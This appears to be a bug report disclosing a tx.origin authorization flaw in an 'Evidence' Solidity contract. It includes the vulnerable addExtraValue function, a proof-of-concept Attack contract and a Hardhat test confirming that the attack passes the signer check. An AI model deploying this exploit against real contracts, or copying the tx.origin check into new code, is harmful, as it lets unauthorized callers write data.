Problematic code design (tx.origin) that allows attacker to pass the authority check

[InPlusLab]

Description

The contract Evidence contains a bug that can make the attacker pass the authority check because of tx.origin. For instance, the function addExtraValue adds extracValue to extraContent and return true if tx.origin is in the array signer.

function addExtraValue(bytes32 extraValue) public returns (bool) {
  uint numOfSigners = signer.length;
  console.log("tx.orgin: ",tx.origin);
  console.log('msg.sender: ', msg.sender);
  for (uint index = 0; index < numOfSigners; index++) {
    if (tx.origin == signer[index]) {
      extraContent.push(extraValue);
      AddExtraContentLog(RETURN_CODE_SUCCESS, tx.origin, extraValue);
      for (index=0; index < extraContent.length; index++) {
        console.log('extraCount[%d]: ', index);
        console.logBytes32(extraContent[index]);
      }
    return true;
    }
  } 
  AddExtraContentLog(RETURN_CODE_FAILURE_ILLEGAL_INPUT, tx.origin, extraValue);
  return false;
}

Reproduction
Steps to reproduce the behavior:

1. prepare harhat testing environment

2. copy problematic addExtraValue with inserted log output statement (lines 3, 4 and 9 to 11 shown above) which are used in test to a created directory contracts

3. create an Attack contract instance that can utilize the vulnerability

pragma solidity ^0.4.4;
import "hardhat/console.sol";

interface IEvidence {
  function addExtraValue(bytes32 extraValue) public returns (bool);
}

contract Attack {
  address _evidence;
  constructor(address evidence) {
    _evidence = evidence;
  }

  function attack() external view returns (bool){
    bytes32 r = 0x1;
    console.log('Try to push: ');
    console.logBytes32(r);
    bool success = IEvidence(_evidence).addExtraValue(r);
    if (success) {
      console.log('Attack success!');
    } else {
      console.log('Attack fail!');
    }
    return success;
  }
}

In this contract, if the signer of contract evidence calls the attack(), then it will invoke the addExtraValue th pass the authority check (cause the tx.origin is still the signer), thus making itself permitted.

4. use the followed test deployment js to execute npx hardhat test

const { expect } = require("chai");
describe("EvidenceContract contract", function () {
  it("Attack with tx.origin", async function () {
    const [owner] = await ethers.getSigners();
    const hashValue = [ethers.utils.formatBytes32String('hash')]
    const addressValue = [owner.address];
    const rValue = ethers.utils.formatBytes32String('r');
    const sValue = ethers.utils.formatBytes32String('s');
    const vValue = 1;
    const evidenceContract = await ethers.getContractFactory(
      "Evidence"
    );
    const evidence = await evidenceContract.deploy(
      hashValue, 
      addressValue,
      rValue,
      sValue,
      vValue,
      hashValue
    );
    const attackerContract = await ethers.getContractFactory(
      "Attack"
    );
    console.log(`Ownner address: ${owner.address}`);
    console.log(`Evidence address: ${evidence.address}`);
    const attacks = await attackerContract.deploy(evidence.address);
    console.log(`Attacks address: ${attacks.address}`);
    expect(await attacks.attack()).to.equal(true)
  });
});

Expected behavior

The test results will log Attack success! and pass the test, which means the attacker successfully passes the authority check with the use of tx.origin and adds extracValue to extraContent.